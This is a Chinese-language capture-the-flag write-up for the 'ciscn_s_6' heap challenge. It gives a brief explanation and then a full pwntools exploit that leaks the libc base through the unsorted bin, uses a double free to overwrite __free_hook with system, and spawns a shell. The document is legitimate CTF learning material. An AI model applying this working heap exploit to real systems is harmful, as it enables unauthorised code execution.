这道题好坑呜呜。
远程没有doubel free检查,而本地有。
所以我tmd调了一天的脚本
这里我就简单说下思路吧:能做到这道题的师傅都很强
1.保护全开,没有后门函数,就想到改malloc_hook或者free_hook为system函数或者onegadget,这道题的远程没有double free检查。
2.我们要先泄露libc基址,需要用unsorted_bin头为main_arena+88计算。
3.然后就有很多方法getshell了,如1所述。用double free来add堆块到free_hook,在free_hook内填入system地址,然后free的时候会调用system函数。
exp
from pwn import *
binary='./ciscn_s_6'
#io=remote('node3.buuoj.cn',26916)
io=process(binary)
elf=ELF(binary)
# context.log_level='debug'
def add(size,name,call):
io.sendlineafter('choice:','1')
io.sendlineafter('name',str(size))
io.sendlineafter('name:',name)
io.sendlineafter('call:',call)
def show(index):
io.sendlineafter('choice:','2')
io.sendlineafter('index:',str(index))
def delete(index):
io.sendlineafter('choice:','3')
io.sendlineafter('index:',str(index))
#leak libcbase
add(0x80,'aaaa','bbbb')#0
add(0x80,'a','a')#1
add(0x20,'b','b')#2
add(0x20,'/bin/sh\x00','c')#3
for i in range(7):
delete(0)
delete(1)
show(1)
unsortedbin = u64(io.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))
success('unsortedbin = '+hex(unsortedbin))
libcbase = unsortedbin - 0x3ebca0
success('libcbase = '+hex(libcbase))
libc = ELF('./libc-2.27_64.so')
system = libcbase + libc.sym['system']
free_hook = libcbase + libc.sym['__free_hook']
delete(2)
delete(2)
add(0x20,p64(free_hook),'b')
add(0x20,'c','d')
add(0x20,p64(system),'c')
delete(3)
io.interactive()
delete(3),因为3内填入了’/bin/sh’,所以会getshell。。。。。